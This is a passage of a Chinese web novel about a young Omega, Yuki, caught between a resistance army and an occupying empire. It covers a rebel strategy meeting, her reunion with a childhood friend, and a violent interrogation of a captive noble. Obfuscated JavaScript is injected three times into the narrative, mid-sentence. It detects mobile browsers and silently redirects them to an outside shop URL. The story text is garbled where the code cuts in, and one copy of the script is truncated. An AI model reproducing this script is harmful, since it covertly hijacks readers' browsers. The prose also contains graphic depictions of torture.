他话里的歧视意味非常明显,尤纪看到亚历克斯微不可查地皱了皱眉。 艾琳也对格威相当不满。 她用愠怒的语调喊了一次格威的名字,但格威并未收敛态度,反倒更加嚣张。 “艾琳!我没办法信任这个刚加入进来的Omega!你可别忘了,她跟帝国人混在一起!” 格威的话得到了其余人的一致认可。 “我们并不排斥一个黑市商人的妹妹加入反抗军,毕竟,她或许可以给我们带来更大的利益。但是,我们确定要在她面前讨论这么隐秘的作战计划吗?”一个女性Alpha说。 尤纪猜出了反抗军的意图,可从未想到,有人会将这些意图摆到了明面上。 真是……演都不演了…… 他们真的笃定连弛能平安出狱,并且会将所有的黑市交易都献给他们? 艾琳的面子上有些挂不住。 她略带歉意地看向尤纪,却看到尤纪仍旧坐在座位上,并没有要起身的意思。 “格威你别忘了,尤纪刚刚才参与了欢迎仪式,她是我们的同伴。”她再次警告。 艾琳的袒护和尤纪的反应,让一半以上的Alpha更加恼怒。 各种各样的狂烈的信息素纷纷朝着尤纪袭来。他们在无声地威胁着尤纪退场。 尤纪紧紧地抿着唇,脸色发白。 “尤纪?你身体还好吗?”艾琳关心地问她。 尤纪摇了摇头:“没关系,我可以坚持下去。” 连弛也在蒂亚语的处决名单中,她并不想错过任何消息。 格威从座位上站起身。 高大威猛的身体朝着尤纪这边走来。尤纪本以为他要用武力威胁自己退场,但是他却在艾琳面前停住了脚步。 格威几乎是俯视着自己的首领:“艾琳,起初,我们推举陆维亚为首领,因为她总能带我们通往胜利。” “后来,我们信服你,不但因为你是陆维亚的伴侣,还因为你也能带领我们摘取成果,虽然只是小打小闹的成果……” 他住了嘴,可剩下的意思不言自明——用帝国贵族换取俘虏的方式失败了,你应该从反抗军的首领位置上退下来。 艾琳眸色暗沉沉地盯着格威。 这个据点是反抗军的总部,在内的Alpha们都是其他据点的副首领,他们的态度代表了其他据点的态度。 所以,至少有一半的反抗军认为,尤纪并不应当参与作战计划的讨论。 艾琳没有说话。 是否让尤纪参会只是一件小事,但这争执的背后,却代表着首领的权力和威望。 陆维亚说过,首领从不亲自下场,而应该成为争执的裁决者。 实权是慢慢从裁判之中积累起来的。 但令艾琳感到惊讶的是,那些与她关系交好的Alpha们并没有为她出头。 在她要感慨自己的威望流逝之前,有人开口了。 为艾琳说话的居然是亚历克斯,这个向来没有实权、只负责内勤和翻译工作的透明Beta。 “格威,按照你的意思,我也不是Alpha,所以我就应当退出这次的作战讨论吗?” Beta少年的声音很轻,却仿佛带了一种奇异的魔力,让所有骚动的Alpha们都停下了争议。 “你一早就跟在陆维亚身边,又策划了爆炸案……你参与讨论很正常嘛。”格威咕哝着,回到原来的座位上坐下了。 艾琳松了一口气。 尤纪却对亚历克斯有了更深一层的认识。 没想到这个看起来毫无威胁的Beta,居然是一场震惊帝国的恐怖袭击的策划者。 他已经帮助过她好几次了,而她竟然不知道他帮助她的理由。 况且,反抗军内部,似乎也并非铁板一块…… 窥见反抗军内部矛盾的尤纪,像是被调动了身体之内什么隐秘的细胞一样,不自觉地为此感到兴奋。 有了亚历克斯的调停,在场所有人就算心中不满,也不会刻意表露。 亚历克斯看向表情各异的众人,认真且谨慎地开了口。 清朗的少年音回荡在会议室里。 “我想,我们现在需要思考一个问题——为什么帝国不是在处决了我们的伙伴后,再公布名单?这并不符合帝国的行事风格。” —— “为什么要提前三天公布处决名单? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264804|197317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”真正的安德烈·冯·哈耶克校尉不解地问,“而且,为什么要将尤纪兄长的名字加入进蒂亚语的名单里?” 桑雷斯·贝德福冰冷地审视着自己的副官。 让兰德尔和尤纪一同失踪,是安德烈从军以来犯过的最大的错误。 那之后,安德烈迅速做了弥补的措施,牢牢将兰德尔失踪的消息控制在宪兵队内,防止消息被驻防军走漏。 驻防军内有赛琳娜的人手——而桑雷斯并不希望自己的姐姐插手蒂亚事务。 在桑雷斯通知要以处决名单回应反抗军、并且以三万块征集兰德尔线索的时候,安德烈也立即明白了他的用意。 他的执行速度和妥当安排都让桑雷斯很满意。 截止到这里,安德烈都做得非常好。 但令他费解的是,一旦事情牵扯上了尤纪,自己的这位副官就像是大脑停止了转动。 为什么? 安德烈为什么要关心一个与他毫不相干的新人类?甚至连带着,也关心上了她那个身为囚犯的哥哥? 桑雷斯开始怀疑自己下属的脑子出了问题。 或许,安德烈的智商只局限在内部斗争。 他可以轻易地察觉出驻防军中有大量赛琳娜的人,并对此做出隔绝消息的安排。 当然,这是安德烈身为一个贵族,与生俱来的敏锐性。 但对于外部斗争,安德烈显然是个缺乏经验的新手,居然会问这样愚蠢的问题。 桑雷斯压下心底微妙的不舒服,耐着性子朝自己的副官解释。 “三天,足够反抗军反应过来,去思考一场谈判的必要性了。” 在不惊动驻防军的情况下,总督署要以最小的代价,将那个愚蠢的弟弟带回来。 “如果保证兰德尔殿下平安,您为什么又要公布反抗名单?!而且,征集线索才三万块。这会让他陷入生命危险!”安德烈最终还是问了出来。 桑雷斯·贝德福阁下深吸一口气,不得不重新评估安德烈的智商。 “安德烈,这是必要的决定。兰德尔在选择擅自行动的时候,就应当有吃点苦头的准备……这是他应得的教训。” 安德烈低下头。 对于“安德烈”的被俘,总督采取了非常激进的应对方式。 帝国的权威不容冒犯。。 如果是赛琳娜殿下在这个位置上…… 安德烈相信,她会毫不犹豫地采取更加激进的方式,选择牺牲兰德尔的生命,用以维护帝国皇室不容践踏的尊严。 他都能想到,她会以极其冷酷的语气告诉所有知情人:兰德尔作为帝国皇室,必须要有为帝国的伟大战争牺牲的觉悟。 三万块的线索、提前公布处决名单,已经是总督的网开一面了。 三万块,对于一个组织来说很少,对于一个家庭来说,却是一笔十分可观的巨款。 总督至少给了反抗军提出谈判的窗口。 “还有什么疑问需要解答吗?”桑雷斯语调温和。 安德烈发现总督并未回答他的第二个问题。 他张了张嘴,刚想再次询问,却又被总督那带着冷意的目光吓退了。 “没有了,总督阁下。”安德烈选择了闭嘴。 看着副官离开的背影,银发总督褪去了刚刚的温和姿态。 一个不够聪明的下属,总比一个非常聪明的下属更好。 前者只会让他怀疑对方的智商,后者却会让他怀疑对方的忠诚。 桑雷斯重新坐回皮革座椅上,看着桌面上那封来自大洋彼岸的电报。 桑雷斯: 见信佳。兰德尔主动离开北方要塞,前往蒂亚度假,他有没有给你带来什么麻烦? 如果你需要我的帮忙,我也会履行作为姐姐的职责,毫不吝啬地帮助你。 爱你们。 落款是赛琳娜·贝德福。 这是一封平平无奇的问候信,从中看不出任何消息走漏的可能性。 高耸的眉峰遮住了银发总督眼睛里的光线,让他看起来冷厉得不近人情。 24. 故人重逢 反抗军内部并非铁板一块。 尤纪很快证实了自己的猜想。 她强压下对连弛的担忧,跳出自己所处的境地,立刻就能察觉到反抗军中壁垒分明的两个派系。 以格威为首的激进派,主张要立即杀了“安德烈”以泄愤,并且在三天内劫狱,救出那些关押的同伴。 他们大概有快到二十人,也就是说,在反抗军的二十八个据点内,有一大半的人都认为要动用武力营救。 以一名红发Alpha为首的温和派,则拒绝杀了“安德烈”。一旦“安德烈”死亡的消息传出,反抗军会遭到更严酷的镇压,帝国根本不会留给他们劫狱的时间。 “如果召集人手进行劫狱,从开始到结束,只需要花两天,第三天我们可以进行全部撤离。”格威道。 “你的意思是要开展大规模的军事行动?”红发Alpha挑眉,“在发生了银发贵族被绑架的事情之后,你怎么保证特殊监狱内的同伴不会被转移?” 这是个非常关键的问题,格威没有回答出来。 “或许,我们可以试着与帝国进行谈判。”红发Alpha说。 一直沉默看着他们争论的亚历克斯,在争论结果即将出来之前,也开了口。 “帝国故意留下一个谈判的窗口……我想,这个银发贵族的价值,应该远超三万。” 随着亚历克斯的话音落下,在场的Alpha们都陷入安静思考之中。 就连主张要杀了“安德烈”以泄愤的格威,也绝口不提刚刚的狂言。 亚历克斯是首领的助理,他的表态,本身就带着首领的意愿。 这场争论,谁是胜利者就不言而喻了。 尤纪坐在艾琳旁边。她也始终并未发言,却在这场会议中学到了许多东西。 亚历克斯的话,也揭开了困扰着她的一层迷雾:为什么桑雷斯要采取激烈手段回应反抗军,又为什么偏偏留了三天的时间? 答案只有一个——他在逼迫反抗军主动谈判。 而目前这个据点内,可以熟练使用帝国语的,只有她自己。 而那份双语名单,大概只有关心连弛的人才会注意到。 最关心连弛的,当然也只有尤纪自己。 桑雷斯希望她参与谈判? 这个猜想实在是荒谬至极。 艾琳采纳了亚历克斯和红发Alpha的建议:“菲欧娜准备一下谈判事宜,尽快拟定谈判参与的人员和交换名单。” 菲欧娜——也就是那名红发的Alpha立即提出来:“谈判人员的安全性怎么保证?谈判的地点呢?帝国绝对不会同意在我们的范围内进行谈判。” 格威立即参与进来,他仍旧坚持军事行动的提议:“我们也可以去一趟特殊监狱,看看还有多少人被关押在那里。” 眼看又是一场争论,艾琳下达了命令。 “谈判人员暂定亚历克斯,尤纪作为翻译也跟着去,还有想参与的就担任安保,尽快报名。至于交换名单,可以先讨论出一个初步方案。” 艾琳让尤纪参与谈判,是连尤纪本人也不敢想象的。 她有一瞬间,甚至怀疑帝国在反抗军内部安插了间谍,才让帝国知晓反抗军缺少翻译。 但转念一想,可能性又没那么大。 如果有间谍存在,帝国早就采取武装行动来营救兰德尔了,何必迂回婉转地给反抗军谈判的机会呢? 反应最大的还是格威。 经历了一些小摩擦,格威对尤纪的不满达到了最高点,他直接了当地怀疑了尤纪的忠诚度。 “谁知道她会不会像麦肯·威尔森那样出卖我们?” 这确实是个很难回答的问题。 来这个据点之前,尤纪并不知晓麦肯·威尔森在反抗军也曾待过,最后甚至背叛了反抗军。 但,怀疑忠诚? 尤纪尽力忽视在场所有人的目光,坚定地开口:“我已经在银发贵族的见证下,杀死了一名帝国的军人。我想,我不需要再证明我的忠诚了。” 如果这样都不能证明她的忠诚,那就是全盘否认了“欢迎仪式”的必要性。 尤纪料定反抗军不会自己否定自己。 果然,格威没有再说话。 他吃了个瘪,闷闷不乐地盯着尤纪,毫不掩饰眼中的恼恨。 尤纪暗暗地打量着格威,他似乎一直在针对她。 一开始,她以为他是对帝国抱有敌意,所以会针对和“安德烈”混在一起的自己。 但现在尤纪已经明白了。 他不是在针对自己,而是在针对艾琳这个首领。 他想用由尤纪这个借口,来挑战艾琳的地位。 或者说,反抗军之所以默许艾琳成为新的首领,很大一部份是因为艾琳的身份。 反抗军创建者陆维亚的遗孀——这个身份符号的象征意义,甚至超过了艾琳本人的领导能力。 “格威,我的帝国语并没有你想象的那么好,而尤纪的母亲曾经是蒂亚国国立大学的帝国语教授。” 亚历克斯又一次为尤纪说话,“为了避免信息交流的通畅,我们也需要尤纪参与谈判。” 尤纪忍不住看向他。 亚历克斯是……在拉拢她?或者说是,保护她? “既然谈判参与人员没有争议,那就开始讨论交换名单吧。” 艾琳适时开口,又将问题抛给了尤纪。 “尤纪,你对人员交换有什么看法?” 这是从未有过的经历,尤纪想。 有一瞬间她甚至觉得回到了课堂上。老师提出了一个发散性的问题,抽取学生回答时刚好抽到自己。 但这和课堂回答问题又完全不一样。她的用意是什么? 尤纪尽力领会艾琳的用意,给出自己的回答:“我认为至少应该把处决名单里的同伴加入进去。至少……他们还活着。” 艾琳朝她微笑起来,又看向面色各异的众人:“我认为尤纪说得合理,你们觉得呢?” 没有人反驳。 于是众人又开始讨论其他亟待解救的同伴。 这一刻,尤纪微妙地察觉到,艾琳似乎是在扶持自己。 她想让自己成为她的另一个助理?类似于亚历克斯的位置? 是的,艾琳以遗孀的身份上位,又主导了一场并不算完全成功的“银发贵族绑架案”。 格威对她的位置虎视眈眈,她目前最要紧的,是先稳住反抗军的内部,避免这个组织发生内斗,从而四分五裂。 尤纪作为黑市贩子的妹妹,具有重要的价值。 如果连弛顺利被解救,黑市的交易链条会给反抗军带来源源不断的资金。 新任首领的位置自然可以坐稳了。 想明白这一点后,尤纪的内心再次兴奋起来。 她开始观察每个人的言语,分析每个人的立场,找出他们争论的重点。 一场会议下来,尤纪收获颇丰。 尤纪几乎已经摸清楚了反抗军的内部派系,甚至可以从谈判人员的保护安排中,隐约察觉到自己所处的方位。 下午六点,会议结束。 尽管尤纪的大脑出于极度兴奋中,但她的身体却有些虚弱了——中午淋了雨,只能借了一套亚历克斯的旧衣服——这个据点内,只有他的身材没那么高大。 饶是如此,他的衬衣穿在尤纪身上,仍旧是松松垮垮。 袖子露出一大截,尤纪只好把衣袖挽了上去。 Alpha们三三两两地去餐厅就餐,尤纪在亚历克斯离开前,叫住了他。 亚历克斯似乎早有准备,并不觉得意外,只是回头平静地看向尤纪。 “我要去囚室问那个银发贵族一些问题,你要一起过去吗?” 找一个没人的地方说话,这正合了尤纪的意思。 她欣然应允。 亚历克斯并未带着尤纪去地下室,而是离开了别墅的大门,前往山野间的一条小路。 她猜测兰德尔应该是被关在山里。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17280520|197317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 雨仍旧下得很大,亚历克斯手持一把黑色长柄雨伞,将一盏煤油灯交给尤纪——别墅的独立发电机系统仅能用于夜间照明,完全达不到连别墅外围也覆盖到的程度。 在别墅轮廓即将消失的时候,尤纪停住了脚步。在夜里,和一个陌生Beta去往一个无人的未知地点,是一个非常危险的举动。 “怎么了?”亚历克斯明知故问。 尤纪的下半身都被洒进来的雨水淋湿,皮鞋内也灌满了雨水。此地已经足够荒无人烟,足够她询问一些私人的问题了。 她看着那张因为煤油灯的光线而显得格外柔和的脸,轻声开口:“你是怎么知道,我的母亲是教授帝国语的教授的?” 尤纪本以为他的答案是反抗军调查过连弛。但不知为何,越是接触他,他越是带给尤纪一种熟悉的感觉。 就仿佛……哪里见过一样。 亚利克斯给了她一个意料之外的回答。 “尤纪,我是天海教授的学生。” 话音还未落下,闪电像是长刀般劈开夜空。 在这宛如白昼的一秒钟里,尤纪看到他的眉头紧皱。 那双从来都温和带笑的眼睛,第一次出现冷冰冰的怒火。 “我们第一次见面是在我家,天海教授给我补□□国语,那时候你大概这么高……” “那天你吃了我母亲做的甜奶油蛋糕,上面放了草莓和芒果。” “后来,每次天海教授给我上课的时候,你都跟过来。我还帮你批改过作业……你有一次和连弛闹矛盾离家出走,所有人到处找你,最后发现你偷偷到了我的家里,睡在我的床上。” 随着亚历克斯带着抱怨的诉说,尤纪尘封的记忆骤然开启。 眼前这张有些陌生的脸,逐渐和童年时期的玩伴重合起来。 “亚利!你是亚利!” 尤纪的眼睛亮了起来。 她拉住了亚历克斯的衣袖,再一次喊起那个熟悉的名字。 在这充满了危险的荒芜之地里,熟悉的人、熟悉的事全都涌上心头,变成了一方安全的避难地。 岂料亚历克斯扯回了衣袖,并不动声色地拒绝了尤纪的亲近。 “快走吧,有什么事情,等审完那个帝国人再说。” 尤纪垂下眼眸。 她与亚利……也只是童年时期的玩伴。 后来发生了那么多的事情,从举家搬到平民街,再到蒂亚沦为占领区、尤纪父母失踪…… 直到如今,在反抗军的据点内重逢。 她有种与他彻夜长谈的冲动,而现在显然不是个谈论过往的好时机。 尤纪放弃了再与他交谈,与亚历克斯保持了距离,只是维持着头发不淋到雨的程度。 关押兰德尔的囚牢在一个山洞中,无人看守,也没有任何照明。 光是想就能想到,这里不但潮湿,还会有数不清的虫子和各种各样的野兽。 还很可能会有蛇。 “你们把一个帝国的贵族关在这里?”尤纪不自觉地问出声来。 这句话只是疑问,但却招来了亚历克斯的警告。 “反抗军的第一条例——禁止同情帝国人。尤纪,你犯错了。” 尤纪立刻想起了那个被她杀死的帝国商人。 那个无辜的商人,被亚历克斯故意说成是军人,抓到据点内作为举行“欢迎仪式”的一件物品。 一瞬间,故人重逢的喜悦褪得干干净净,只剩下惊骇和满心的寒凉。 煤油灯的晕黄光线将Beta少年的面容照得模糊不堪,尤纪看不清他的神色,却能听出他声音里的冷淡。 这一刻,尤纪无比清晰地认识到,失去联系的那几年内,他们的人生轨迹已然完全不同。 亚利早就不是亚利了,而是披着亚利皮囊的怪物,里面住着一个冷血而陌生的反抗军信徒。 尤纪也不再是尤纪,而是一个将身体出卖给敌人的娼-妓。 ——战争,早就让他们面目全非了。 25. “深情”表白 亚历克斯将伞收起,朝着山洞内的囚牢走去。 他的身影被黑暗吞没,仿佛走入一张深渊巨口。 尤纪想了想,最后还是跟上了他。 为了避免兰德尔说出什么不可挽回的话,她必须要参与这次审讯。 山洞很深,地面平整,周围是人工开挖的痕迹,内壁抹了水泥,水从裂开的水泥缝隙里渗出来,积水大概到脚踝那么深。 尤纪提着煤油灯往四处照,在角落里发现了很多废弃的钢管。 她悄悄捡起一根,抬头时,才发现亚历克斯一直看着她。 那道目光从黑暗里注视过来,煤油灯的光线只能朦胧照出一个人影。 “放下。”亚历克斯说。 尤纪僵立着,没有动弹。 “即使你有武器,Omega的体力也打不过我的。尤纪,听话。” 少年的声音回荡在山洞之内,回音传到耳朵中的时候,带着森然的潮气。 尤纪放下钢管,静静地看着那个模糊的人影走到自己面前。 她仰头看着他的脸,发现这张让她有一丝熟悉感的面容,此刻竟是无比陌生。 亚历克斯伸过来一只手,语气又重新恢复了从容和温和。 “害怕的话,牵着我的手。” 尤纪犹豫着,但他的手已经握了过来。 亚历克斯的手并未受到山洞内的潮湿影响,干燥而有力,掌心和指腹都有薄茧,应该是常年用枪的缘故。 温热的体温让尤纪瞬间回到从前。 她刚想说两句话,缓和一下跟亚历克斯的关系,却听到山洞深处传来一声痛苦的呻-吟声。 尤纪立刻分辨出那不是兰德尔的声音。 “这里还关着其他人?”尤纪脱口而出。 不需要等到亚历克斯回答,因为他们很快就经过了那个囚犯的囚室。 “哐当——”一声响将尤纪吓了一大跳,她下意识转过身,看到了不亚于递给她反抗军袖扣的同情犯的一幕。 那个人——或者已经不能算是人了——膝盖被挖导致他的双腿朝前弯折,头上只有半块头皮,干掉的血块糊在破烂的衣服上,尤纪甚至看到他的伤口里蠕动着什么东西。 “……”那个人说了什么,尤纪没有听懂。 空气里弥漫着一种难以言明的恶臭味,那恶臭之下,还有一种Omega信息素的味道。 两种味道混杂在一起,加上这不断求饶的声音,简直是直击人心。 尤纪后退几步,立即吐了出来。 亚历克斯轻拍着她的后背,等她吐完了,又贴心地递上来一张手帕。 “这个Omega为了金钱,把自己的身体出卖给了帝国的军人。”他解释道。 尤纪惊恐地看向亚历克斯。 她无法从他的语气里听出任何一丝同情或者怜悯,只有冷漠和厌恶。 “他可能是被迫的……”尤纪的声音颤抖。 “他是蒂亚国的叛徒,也是新人类的叛徒,在这里受刑,也是他在赎罪。” 亚历克斯的声音冷漠极了,像是在说着什么毫不相干的事情。 “尤纪,你要感谢你有一个好哥哥。” 他没有再说下去,但尤纪已经懂得他要说什么了。 她凝视着亚历克斯在光晕里的脸,那张脸精致漂亮,像是女神的恩赐,但内里早就只剩下一团黑泥。 反抗军和那些帝国人又有什么区别?他们同样暴力、同样血腥,同样是丧失人性的恶魔。 仅仅是因为和帝国人有了身体交易,就要受到这样非人的折磨? 无论如何她也无法认同这样的理念。 尤纪没有把自己的想法说出口,也没有再表露过同情。 她要将自己的所有想法,所有秘密,都完完全全地隐藏起来。 亚历克斯只是反抗军首领的助理,不是亚利,也不是任何一个心地善良的蒂亚人。 他们之间也从来没有什么交情 到了关押兰德尔的囚室,尤纪已经从震惊中回过神来,可以冷静地思考着接下来的事情。 她一边对自己的转变感到惊讶,又为这转变感到悲哀。 — “你的全名、军衔和职务是什么?”眼前的人用语法有问题的帝国语问道。 兰德尔悠悠转醒。 自从被转移这个非常原始的囚牢之后,他就一直在发烧,更别提中午的时候还淋了一场雨。 那场雨很大,让他的伤口再次发炎。 而这个囚牢简直是个反人道主义的地狱,到处散发着腐尸的恶臭和排泄物的味道,比他经历过的北方要塞还要可怕得多。 他脑子里像是被扣了一锅泡胀了的菜豆,张口就是:“我当然是尊贵的——” 他话没说完,就对上尤纪直勾勾的一双眼睛。 那是一双黑白分明的眼睛,双眼皮很窄,睫毛有些颤。暖色的光笼罩着她整个人,将她眼睛里的锐利削减不少。 兰德尔头一次觉得尤纪的眼睛很漂亮。 “安德烈·冯·哈耶克,军衔是校尉,”他的声音低了下去,“职务是联络官。” 安德烈看到尤纪的眼神柔和下来。 “说一下你的家族成员。”那个声音继续说。 安德烈想纠正他的语法错误,但是看了一眼周遭的环境,又放弃了。 “我的父亲是公爵,母亲是霍特芬公爵的次女,我有一个哥哥已经战死,还有一个妹妹,现在……正在帝国萨曼拉卡贵族学院读大学。” 安德烈竭力回想着哈耶克家族的事情,刚说完才想起,哈耶克家族的女儿似乎前年辍学要搞什么运动,现在已经失踪了,安德烈来蒂亚也是为了找她。 但审问的人并没有露出什么奇怪的表情,兰德尔知道自己蒙混过关了。 “爆炸案后,新增了哪些安保措施?巡逻路线和换岗时间是什么?” 这句话的语序颠三倒四,兰德尔没完全听懂,只好看向尤纪,希望尤纪翻译一下。 尤纪看了他一眼,用正确的帝国语语序和语法将这句话说了出来。 这属于蒂亚区的机密内容,不是兰德尔一个过来度假的殿下可以知晓的。 真正的安德烈应该会知道这些。 但兰德尔也找好了借口:“我只是一个联络员,负责总督署内的日常事务联络,不可能知道这么机密的东西。” 好在审讯人并未质疑。 兰德尔知道他又蒙混过关了一次。 “说一下你的工作职责。” “如果总督要开会,我就通知那些参会人……” “你的家庭资产是多少?” “我父亲是公爵,在贝德福帝国拥有一座庄园,同时我家在好几个汽车制造厂拥有着不低的股份……” 兰德尔发现反抗军应该对帝国内部事务和总督署一无所知,这给了他很大的撒谎空间,就算是瞎编也没有人戳破。 审讯一项一项地进行下去,有些不知道的就胡编乱造,一些不重要、又不机密的才回答实话。 最后,审讯人问了他一个问题。 “哈耶克,你和这位尤纪小姐什么关系?” 兰德尔的眼睛在尤纪身上转了一圈。他看到她不自觉地僵直了脊背,似乎是在紧张。 尤纪确实是在紧张。 之前的问题兰德尔一直回答得很好,以她的视角来看不会有特别大的暴露身份的漏洞。 但是,亚历克斯为什么要问这个问题? 而且是在见过那个关在囚牢里的Omega之后。 随后,尤纪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300065|197317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听到了兰德尔带着疲惫的沙哑声音。 “我在追求尤纪。” 兰德尔虽然在回答亚历克斯的问题,眼睛却是在看着尤纪的。 尤纪浑身的血液都在这一刻凝固。 太愚蠢了! 他不知道现在是什么情况吗? 为什么非要在这种地点,这种时间,开这样恶劣的玩笑?! “安德烈校尉!”尤纪不得不出声提醒他。 谁知,兰德尔并未因为尤纪的提醒而正视起来,他几乎是用了一种挑衅的目光看着亚历克斯。 “我见到尤纪的第一面就爱上了她,所以,我才会带她去监狱,见一面她那个重刑犯哥哥。尤纪很漂亮,特别是她的眼睛,虽然我们种族不同,但我确确实实地一见钟情了……” “住嘴!” 这番囚牢里的“深情告白”让尤纪气得直咬牙。 兰德尔一定是故意的。这个疯子! 他明明知道她加入了反抗军! 他是在故意给她带来风险,作为对她的报复。 兰德尔并未住嘴。 他继续缓缓诉说他的“一见钟情”。 “我相信,种族的差异并不会阻挡我对爱情的追求。动用贵族的特权是要上报到帝国的,这样的举动相当于已经让我的父母知晓……” 兰德尔的身体很虚弱,他冰蓝色的眼睛里却盛满了爱意。 如果尤纪并不认识他,并不知道他的本性,她大概也会被他这个深情的表演感动。 亚历克斯非常有耐心地听完了“安德烈”的告白。 他的表情没有任何改变,只是从后腰的枪套中拔-出了手-枪,按下击锤。 “我给你一次重新回答问题的机会。”Beta少年的嘴角带笑,眼神却锋利得像刀子一样。 “我说,我对尤纪小姐……” “砰”的一声枪响,山洞内传来巨大的回音。 兰德尔被子弹的冲击力撞得后退几步。 子弹擦过手臂,击在后方的墙壁上。 他捂着左手臂“嘶”了一声,鲜血浸透了他的衣服,从指缝里流出来,滴到脚底下的水坑里。 尤纪先是惊了一下,然后拉住亚历克斯的衬衫下摆,示意他够了。 “他是故意的,你听不出来吗?他对我怀恨在心,想要挑拨我们。”尤纪用蒂亚语说。 虽然她很乐意看到兰德尔受伤,但他如果死在这里——连弛绝对不会活着回到家中。 亚历克斯将衬衫从尤纪的手里拽走。 “我当然知道他是故意挑拨的。”他用蒂亚语回复尤纪,又轻轻捏了捏尤纪的手。 Beta少年握着手里的枪,一步步逼近那个正在流血的银发贵族。 “再说一遍。”亚历克斯将枪口抵住兰德尔的额头。 兰德尔与他对视一眼,在接触到他目光里的凛冽后,并不乐意地举起了双手。 “我对尤纪没有任何想法,我只是一个善良的、富有同情心的人类,想要帮助一位无助的小姐,想要挽救一个无辜的家庭。” Beta少年收回了枪。 他重新走到尤纪身边,握住尤纪冰凉的手,声线柔和,像是在安慰她:“走吧,明天还有很长时间的车要坐。” 尤纪的脸色难看极了。 “他在流血,要不要给他拿点药……” 她一看亚历克斯的脸色,又立即改口:“我害怕他死了会影响我们的计划,他看起来不太好……” “放心,死不了。” 亚历克斯取下挂在墙壁上的煤油灯,在回身时,眼角余光又看到了那个银发贵族。 他改了主意,回到一脸惊惧的Omega少女身边,揽过她的腰,低头吻了下去。 当着那个银发贵族的面。 26. 反抗军内幕 亚历克斯的吻和他的人一样,温柔、清淡且克制。 他似乎是头一次亲吻,从头到尾,都只是轻轻地触碰着尤纪的嘴唇,分开,再吻,再分开。 尤纪的大脑一片空白。 如果说桑雷斯的吻充满着雪茄、苦艾和掠夺的气息,那么亚历克斯的吻就是薄荷味。 她清楚他是个没有信息素的Beta,薄荷味大概来自于他嚼过的口香糖。 这样干净的吻使得尤纪有片刻的沉迷。 没有舌尖的试探或者是口涎的交换,他像是一个初学者,从动作到力度,都带着生涩的意味。 但他的手却紧紧地揽住尤纪的后腰,让尤纪无法挣脱。 一吻结束,亚历克斯望着尤纪尚在震惊中的脸,目光却越过尤纪,看向她身后的银发贵族。 “尤纪,你看,这就是帝国人,就算情话说得再好听,在生命危险之前,也会将你抛弃。” 尤纪并不明白他为什么要吻她,明明他先前才悄然拒绝了她的靠近。 或许亚利在小时候就对她有着感情? 曾经的尤纪或许会相信他们曾经有过懵懂的好感,但如今的尤纪,只会思考他这样做的意图。 以及他这样做会带来的后果。 是的,这是她在下午会议室内才学到的东西。 抛开感情层面的因素,站在对方的立场上,分析对方的动机。 于是尤纪发现亚历克斯的这一吻,是具有两重效果的举动。 一来,是对兰德尔那番“深情告白”的回应,二来,也会再次加深兰德尔心中“尤纪加入了反抗军”的印象。 在兰德尔面前杀一个帝国人,他或许不会在意。 但在兰德尔面前和一个反抗军接吻,一定会让他印象无比深刻。 不论尤纪是否乐意,她在兰德尔心中,永远会被打上反抗军的烙印。 尤纪思索的时候,亚历克斯已经将她放开。 他又恢复了之前那个温和平淡的模样,连呼吸都并未紊乱,仿佛那个吻从未存在过。 “该回去了。”他取下了挂在墙上的煤油灯,重新牵起尤纪的手。 离开这座囚室之前,尤纪偷偷回望了一眼兰德尔。 她的右手藏在衬衫口袋中,捏紧了从阁楼中找到的消炎药。 在囚室门关上的最后一秒,她将消炎药丢给了兰德尔。 ——她希望他不要死,更希望他记住这一包药的情分。 “你刚刚……为什么要吻我?” 积水没过脚踝,尤纪双脚泡在脏水中,每踩一步都带来淌水的声响。 亚历克斯停住了脚步。 在这个弥漫着腐臭且肮脏的山洞里,他用那双并不容易表露情绪的淡褐色双眼凝视着她。 她几乎忘记一切了。 这让他没来由地感到恼怒。 “你九岁时说过要嫁给我,你忘记了吗?” 尤纪确实忘记了。 那些无忧无虑的童年时光,更像是发生在另一个世界的故事,因为太过美好而显得格外不真实。 “当然没有忘记……都过去了这么多年,我以为你已经当作玩笑了。” 尤纪仰头看着亚历克斯的脸,露出那种茫然的、易碎的、不堪一击的脆弱表情。 “我从未忘记过,”亚历克斯摸了摸尤纪的头发,像是从前那样,“等一切结束,只要你愿意,我会向你求婚。” 尤纪立刻问他:“什么叫‘等一切结束’?” 亚历克斯牵着尤纪的手,继续往前走。 少年的声音回荡在空旷的山洞里,混了些雨季的潮气。 “等我们将那些该死的帝国人赶走,解放整个蒂亚国,恢复从前的制度……等这一切结束之后,我就向你求婚。” 他说得很郑重,就像这一天很快就可以到来一样。 尤纪垂下眼。 她并不知道这一天什么时候来,但她知道亚利承诺的分量。 他竟然真的对她有感情。 可尤纪无法去展望那么遥远的未来。 